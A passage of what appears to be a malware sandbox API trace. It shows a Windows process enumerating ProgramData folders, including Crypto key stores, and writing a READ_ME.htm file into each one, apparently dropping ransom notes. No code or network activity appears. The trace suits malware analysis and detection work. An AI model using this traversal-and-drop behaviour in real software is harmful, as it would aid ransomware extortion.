lpOverlapped=0x0) returned 1 [0137.390] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm", lpFilePart=0x0) returned 0x47 [0137.390] SetErrorMode (uMode=0x1) returned 0x0 [0137.390] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.391] GetFileType (hFile=0x1d0) returned 0x1 [0137.391] SetErrorMode (uMode=0x0) returned 0x1 [0137.391] GetFileType (hFile=0x1d0) returned 0x1 [0137.391] WriteFile (in: hFile=0x1d0, lpBuffer=0x2949d20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2949d20*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.392] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0137.394] SetErrorMode (uMode=0x1) returned 0x0 [0137.394] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.395] GetFileType (hFile=0x1d0) returned 0x1 [0137.395] SetErrorMode (uMode=0x0) returned 0x1 [0137.395] GetFileType (hFile=0x1d0) returned 0x1 [0137.395] WriteFile (in: hFile=0x1d0, lpBuffer=0x294e2d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x294e2d0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.397] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x2c [0137.397] SetErrorMode (uMode=0x1) returned 0x0 [0137.397] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.398] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.398] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.399] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.399] SetErrorMode (uMode=0x0) returned 0x1 [0137.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x2c [0137.400] SetErrorMode (uMode=0x1) returned 0x0 [0137.400] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.400] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.401] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.401] SetErrorMode (uMode=0x0) returned 0x1 [0137.401] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0137.402] SetErrorMode (uMode=0x1) returned 0x0 [0137.402] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\userdata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.403] GetFileType (hFile=0x1d0) returned 0x1 [0137.403] SetErrorMode (uMode=0x0) returned 0x1 [0137.403] GetFileType (hFile=0x1d0) returned 0x1 [0137.403] WriteFile (in: hFile=0x1d0, lpBuffer=0x2953f28*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2953f28*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.405] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4a [0137.405] SetErrorMode (uMode=0x1) returned 0x0 [0137.406] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0137.418] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 0 [0137.418] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.419] SetErrorMode (uMode=0x0) returned 0x1 [0137.419] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4a [0137.420] SetErrorMode (uMode=0x1) returned 0x0 [0137.420] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.421] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0137.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x80e27350, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fda3ab0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 0 [0137.422] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.423] SetErrorMode (uMode=0x0) returned 0x1 [0137.423] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0137.423] SetErrorMode (uMode=0x1) returned 0x0 [0137.424] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.426] GetFileType (hFile=0x1d0) returned 0x1 [0137.426] SetErrorMode (uMode=0x0) returned 0x1 [0137.426] GetFileType (hFile=0x1d0) returned 0x1 [0137.426] WriteFile (in: hFile=0x1d0, lpBuffer=0x295a510*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x295a510*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.428] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0137.428] SetErrorMode (uMode=0x1) returned 0x0 [0137.428] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.428] GetFileType (hFile=0x1d0) returned 0x1 [0137.428] SetErrorMode (uMode=0x0) returned 0x1 [0137.429] GetFileType (hFile=0x1d0) returned 0x1 [0137.429] WriteFile (in: hFile=0x1d0, lpBuffer=0x295ea90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x295ea90*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0137.430] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0137.431] SetErrorMode (uMode=0x1) returned 0x0 [0137.431] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0137.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0137.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0137.432] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0137.432] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.432] SetErrorMode (uMode=0x0) returned 0x1 [0137.433] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x1f [0137.433] SetErrorMode (uMode=0x1) returned 0x0 [0137.433] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.433] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.434] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0137.434] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0137.434] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0137.434] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0137.434] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.434] SetErrorMode (uMode=0x0) returned 0x1 [0137.434] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0137.435] SetErrorMode (uMode=0x1) returned 0x0 [0137.435] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.435] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0137.436] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0137.436] FindClose (in: hFindFile=0x2fe5d0 | out: 